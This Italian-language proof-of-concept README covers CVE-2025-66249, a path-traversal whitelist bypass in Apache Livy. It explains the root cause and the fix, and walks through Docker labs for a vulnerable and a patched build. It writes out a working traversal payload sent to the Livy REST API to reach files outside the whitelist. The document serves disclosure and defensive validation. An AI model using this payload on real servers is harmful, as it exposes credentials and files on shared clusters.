
Una POC per la vulnerabilità di bypass della whitelist di Path Traversal in Apache Livy
Solo per scopi educativi e di ricerca sulla sicurezza. Non utilizzare contro sistemi di cui non sei proprietario o per i quali non hai esplicita autorizzazione scritta a effettuare test. → Dichiarazione di non responsabilità completa
| Campo | Dettaglio |
|---|---|
| ID CVE | CVE-2025-66249 |
| Gravità | Importante (CVSS non disponibile — valutazione NVD in sospeso al 2026-03-15) |
| Versioni interessate | Apache Livy 0.3.0-incubating fino a 0.8.0-incubating — solo quando livy.file.local-dir-whitelist è impostato su un valore non predefinito |
| Corretto in | Apache Livy 0.9.0-incubating |
| CWE | CWE-22: Limitazione impropria di un percorso a una directory ristretta ('Path Traversal') |
| Divulgata | 2026-03-12 (OSS-Sec) / 2026-03-13 (NVD) |
| Segnalatore | Hiroki Egawa (ricercatore) |
Un utente autenticato con accesso all'interfaccia REST o JDBC di Livy può inviare una sessione Spark o un job batch con un valore di configurazione del percorso file manipolato che fuoriesce dalla whitelist di directory consentite.
Causa principale — Bypass del controllo della whitelist tramite path traversal (Session.scala)
Quando livy.file.local-dir-whitelist è configurato, Livy 0.8.0 valida i percorsi
inviati chiamando String.startsWith() di Java sul percorso grezzo, non normalizzato.
Questo controllo può essere bypassato usando sequenze di traversal ../:
/opt/safe-data/../sensitive/secret.txt
La stringa grezza inizia con /opt/safe-data, quindi il controllo viene superato —
ma il percorso risolve in /opt/sensitive/secret.txt, che è completamente fuori
dalla directory in whitelist.
Condizione di attivazione: La vulnerabilità può essere sfruttata solo quando
livy.file.local-dir-whitelist è impostato su un valore non predefinito (non vuoto).
Se la whitelist è vuota (impostazione predefinita), la validazione del percorso viene
completamente saltata e il problema non si manifesta.
Impatto: Un attaccante che invia una sessione tramite l'API REST di Livy può fare riferimento a file locali arbitrari sull'host del server Livy. In un cluster di analisi condiviso ciò si traduce in una potenziale esposizione di credenziali, chiavi, file di configurazione o qualsiasi dato leggibile dall'utente del processo Livy.
Session.scalaVulnerabile (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
Corretto (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
Entrambe le versioni sono state clonate direttamente dal repository GitHub ufficiale di Apache Livy usando i seguenti comandi esatti:
Repository: https://github.com/apache/incubator-livy
# Vulnerable version — cloned into ./livy-0.8.0/
git clone --depth=1 --branch v0.8.0-incubating \
https://github.com/apache/incubator-livy \
livy-0.8.0
# Fixed version — cloned into ./livy-0.9.0/
git clone --depth=1 --branch v0.9.0-incubating \
https://github.com/apache/incubator-livy \
livy-0.9.0
| Versione | Tag | Commit risolto | Percorso locale |
|---|---|---|---|
| 0.8.0-incubating | v0.8.0-incubating | 78b512658e4baf1183f2b352203ada1928d8111a | ./livy-0.8.0/ |
| 0.9.0-incubating | v0.9.0-incubating | 7215f209b25b96488189567807eaded00953a492 | ./livy-0.9.0/ |
Session.scala: Paths.get().normalize() prima del controllo della whitelist import java.io.InputStream
import java.net.{URI, URISyntaxException}
+import java.nio.file.Paths
import java.security.PrivilegedExceptionAction
+import java.util.concurrent.{Executors, LinkedBlockingQueue, ThreadFactory, ThreadPoolExecutor, TimeUnit}
import java.util.UUID
...
if (resolved.getScheme() == "file") {
// Make sure the location is whitelisted before allowing local files to be added.
- require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+ require(livyConf.localFsWhitelist.find(
+ Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
s"Local path ${uri.getPath()} cannot be added to user sessions.")
}
Impatto in v0.8.0:
Il controllo startsWith sulla stringa grezza può essere bypassato con un payload di path traversal.
Esempio: se livy.file.local-dir-whitelist = /opt/safe-data
/opt/safe-data/../sensitive/secret.txt
"/opt/safe-data/../sensitive/secret.txt".startsWith("/opt/safe-data") → true (bypassato)Paths.get("/opt/safe-data/../sensitive/secret.txt").normalize → /opt/sensitive/secret.txt
/opt/sensitive/secret.txt.startsWith(/opt/safe-data) → false (bloccato)I diff sono stati prodotti clonando entrambi i tag localmente (vedi sopra) ed eseguendo:
diff -u \
livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala
Attacker (authenticated REST/JDBC user)
│
▼
POST /sessions
{
"conf": {
"spark.jars": "file:///opt/safe-data/../sensitive/secret.txt"
← path starts with whitelisted prefix — String.startsWith() passes
← but resolves OUTSIDE the directory via ../ traversal
}
}
│
▼
Livy 0.8.0 — whitelist check bypassed (raw startsWith, no normalisation)
│
▼
Spark reads the file and distributes it to executors
│
▼
Attacker retrieves file contents via job output / logs
Tutti i passaggi di questo PoC sono stati eseguiti e validati sul seguente sistema:
| Componente | Dettaglio |
|---|---|
| Sistema operativo host | Ubuntu 24.04.4 LTS (Noble Numbat) |
| Kernel | 6.17.0-14-generic x86_64 |
| Architettura | x86_64 |
| Memoria totale | 15 GiB |
| Docker Engine | 28.2.2 |
| JDK host | OpenJDK 17.0.18 (usato solo dall'host — i container usano eclipse-temurin:11-jdk-focal) |
| Immagine base del container | eclipse-temurin:11-jdk-focal (JDK 11, Ubuntu Focal) |
| Versione Spark (entrambe le immagini) | 3.1.3 con Hadoop 3.2 |
| Versione Livy — immagine vulnerabile | 0.8.0-incubating |
| Versione Livy — immagine corretta | 0.9.0-incubating |
CVE-2025-66249-POC/
├── docker/
│ ├── fixed/
│ │ ├── Dockerfile
│ │ ├── livy.conf
│ │ └── start.sh
│ └── vulnerable/
│ ├── Dockerfile
│ ├── livy.conf
│ └── start.sh
├── test/
│ └── validate.sh
├── .gitignore
├── LICENSE
└── README.md
docker/vulnerable/ → image: cve-2025-66249-vulnerable (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/ → image: cve-2025-66249-fixed (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh → single script, run unchanged against both environments
Sequenza completa end-to-end — segui i Passi da 1 a 4 in ordine:
Step 1: Build vulnerable image → start container → verify Livy is up
Step 2: Run validate.sh → confirm VULNERABLE (attack HTTP 201) → stop container
Step 3: Build fixed image → start container → verify Livy is up
Step 4: Run validate.sh → confirm FIXED (attack HTTP 400) → stop container
Nota: Livy richiede circa 15–20 secondi per diventare pronto dopo
docker run. Tutti i passaggi seguenti includono un esplicitosleep 20prima di qualsiasi chiamata API.
File:
docker/vulnerable/Dockerfile — eclipse-temurin:11-jdk-focal, Spark 3.1.3, Livy 0.8.0-incubatingdocker/vulnerable/livy.conf — ascolta su 0.0.0.0:8998, modalità locale, whitelist = /opt/safe-data1a. Costruisci l'immagine:
docker build -t cve-2025-66249-vulnerable docker/vulnerable/
Verifica — l'immagine è stata creata:
docker images cve-2025-66249-vulnerable
Output atteso:
REPOSITORY TAG IMAGE ID CREATED SIZE
cve-2025-66249-vulnerable latest <id> <time> <size>
1b. Avvia il container:
docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-66249-vulnerable
Verifica — il container è in esecuzione:
docker ps --filter name=livy-vulnerable
Output atteso:
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
<id> cve-2025-66249-vulnerable "/__cacert_entrypoin…" <time> ago Up X seconds 0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp livy-vulnerable
1c. Attendi l'avvio di Livy, quindi verifica l'API REST:
Livy richiede circa 15–20 secondi per inizializzarsi prima di servire le richieste.
sleep 20
curl -s http://localhost:8998/sessions
Output atteso:
{"from":0,"total":0,"sessions":[]}
1d. Verifica la struttura delle directory all'interno del container:
Conferma che il file sicuro nella whitelist esista:
docker exec livy-vulnerable cat /opt/safe-data/safe.txt
Output atteso:
This file lives inside the whitelisted directory.
Conferma che il file sensibile esista fuori dalla whitelist:
docker exec livy-vulnerable cat /opt/sensitive/secret.txt
Output atteso:
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!
Il container vulnerabile del Passo 1 deve essere ancora in esecuzione sulla porta 8998.
Cosa verifica test/validate.sh:
| # | Attacco | Chiave del payload | Risultato atteso su Livy 0.8.0 |
|---|---|---|---|
| 1 | Path traversal tramite String.startsWith() in Session.scala | spark.jars con traversal ../ | HTTP 201 — il traversal bypassa la whitelist |
2a. Esegui lo script:
bash test/validate.sh
Nota:
validate.shfunziona come segue:
- Esegue il polling di
GET /sessionsfinché Livy non risponde (fino a 60 secondi), confermando che il server è pronto.- Invia una richiesta
POST /sessionstramitecurlcon un payloadconfmanipolato che punta a un file fuori dalla whitelist (/opt/sensitive/secret.txt) usando il traversal../.- Legge il codice di risposta HTTP: 201 significa che Livy ha accettato il percorso senza normalizzazione (vulnerabile); 400 significa che Livy lo ha rifiutato dopo la normalizzazione (corretto).
- Se viene creata una sessione (HTTP 201), lo script la elimina immediatamente tramite
DELETE /sessions/{id}per mantenere pulito il server.- Al termine stampa un riepilogo ed esce con codice 1 (vulnerabile) o 0 (corretto), rendendolo adatto a pipeline automatizzate.
Output atteso:
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.
TEST : Path traversal via spark.jars (String.startsWith bypass)
WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 201
RESPONSE : {"id":<session_id>,...,"conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"},...}
[VULNERABLE] Livy ACCEPTED the request (HTTP 201).
Path was NOT normalised — traversal bypasses whitelist check.
RESULT: VULNERABLE — exit code 1
2b. Arresta e rimuovi il container vulnerabile:
docker stop livy-vulnerable && docker rm livy-vulnerable
Verifica — il container è stato completamente rimosso:
docker ps -a --filter name=livy-vulnerable
Output atteso (vuoto — nessuna riga):
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
File:
docker/fixed/Dockerfile — immagine base identica e Spark 3.1.3, cambia solo la versione di Livy a 0.9.0-incubatingdocker/fixed/livy.conf — identico a docker/vulnerable/livy.conf (stessa whitelist, stessa porta, stessa modalità)Mantenendo Spark, l'immagine base e tutta la configurazione identici al Passo 1, Livy resta l'unica variabile.
3a. Costruisci l'immagine:
docker build -t cve-2025-66249-fixed docker/fixed/
Verifica — l'immagine è stata creata:
docker images cve-2025-66249-fixed
Output atteso:
REPOSITORY TAG IMAGE ID CREATED SIZE
cve-2025-66249-fixed latest <id> <time> <size>
3b. Avvia il container:
docker run -d --name livy-fixed -p 8998:8998 cve-2025-66249-fixed
Verifica — il container è in esecuzione:
docker ps --filter name=livy-fixed
Output atteso:
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
<id> cve-2025-66249-fixed "/__cacert_entrypoin…" <time> ago Up X seconds 0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp livy-fixed
3c. Attendi l'avvio di Livy, quindi verifica l'API REST:
sleep 20
curl -s http://localhost:8998/sessions
Output atteso:
{"from":0,"total":0,"sessions":[]}
3d. Verifica la struttura delle directory all'interno del container:
Il container corretto usa gli stessi file di test di quello vulnerabile — questo conferma che l'unica variabile tra i due ambienti è la versione di Livy.
Conferma che il file sicuro nella whitelist esista:
docker exec livy-fixed cat /opt/safe-data/safe.txt
Output atteso:
This file lives inside the whitelisted directory.
Conferma che il file sensibile esista fuori dalla whitelist:
docker exec livy-fixed cat /opt/sensitive/secret.txt
Output atteso:
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!
Il container corretto del Passo 3 deve essere in esecuzione sulla porta 8998. Lo script è identico — nessuna modifica.
Cosa cambia tra il Passo 2 e il Passo 4:
Paths.get().normalize() prima del controllo della whitelist4a. Esegui lo script:
bash test/validate.sh
Output atteso:
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.
TEST : Path traversal via spark.jars (String.startsWith bypass)
WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 400
RESPONSE : {"msg":"Rejected, Reason: requirement failed: Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions."}
[FIXED] Livy REJECTED the request (HTTP 400).
Path normalisation blocked the traversal.
RESULT: FIXED — exit code 0
Cosa conferma il messaggio di errore:
| Attacco | HTTP | Messaggio di errore | Causa principale corretta |
|---|---|---|---|
Path traversal tramite spark.jars | 400 | Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions. | Paths.get(...).normalize() aggiunto in Session.scala; risolve ../ prima del confronto con la whitelist |
4b. Arresta e rimuovi il container corretto:
docker stop livy-fixed && docker rm livy-fixed
Verifica — il container è stato completamente rimosso:
docker ps -a --filter name=livy-fixed
Output atteso (vuoto — nessuna riga):
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
CVE-2025-66249 è un singolo e mirato difetto logico nell'applicazione della whitelist che protegge il percorso di accesso al filesystem locale di Livy.
La whitelist (livy.file.local-dir-whitelist) esisteva in tutte le versioni interessate
ed era configurata correttamente. Il problema stava nel modo in cui la whitelist veniva valutata:
Bypass tramite path traversal (l'unica debolezza): Il confronto della whitelist in
Session.scala usava String.startsWith() di Java sulla stringa del percorso grezzo. Questo
non è sufficiente per i confronti di percorsi filesystem perché non tiene conto dei segmenti
di traversal ... Un percorso come /opt/safe-data/../sensitive/secret.txt
soddisfa il controllo sulla stringa rispetto alla voce di whitelist /opt/safe-data, ma risolve
in una posizione completamente esterna.
La correzione in 0.9.0 è minima e mirata: viene aggiunta una chiamata a Paths.get().normalize()
prima del confronto della whitelist. Questa risolve tutti i segmenti .. prima che venga
eseguito il controllo startsWith, così il payload di traversal viene correttamente identificato
come puntante fuori dalla directory consentita.
Punto chiave per i difensori: La vulnerabilità è sfruttabile solo quando
livy.file.local-dir-whitelist è impostato su un valore non vuoto. Sebbene ciò significhi che la
configurazione predefinita non è direttamente vulnerabile, qualsiasi distribuzione che abbia
ristretto la whitelist (cioè che abbia esplicitamente limitato le directory a cui Livy può
accedere) è paradossalmente quella esposta — perché è proprio la presenza della whitelist ad
attivare il percorso di codice difettoso. L'aggiornamento a Livy 0.9.0-incubating è l'unica
mitigazione completa.
I contributi per migliorare questo PoC o la documentazione sono benvenuti! Assicurati che ogni contributo:
Per contribuire, apri una pull request o segnala un problema descrivendo la modifica proposta.
Questo progetto è concesso in licenza secondo la Licenza MIT.
Questo repository ha solo scopo educativo e di ricerca sulla sicurezza. La prova di concetto dimostra i meccanismi della vulnerabilità per favorire la comprensione e le misure difensive. Non usarlo contro sistemi di cui non sei proprietario o per i quali non hai esplicita autorizzazione scritta a effettuare test.
cve-2025-66249 apache-livy path-traversal whitelist-bypass
cwe-22 improper-path-restriction livy-0.8.0 livy-0.9.0
security-research proof-of-concept docker java scala
vulnerability-analysis rest-api-security string-startswith-bypass
path-normalisation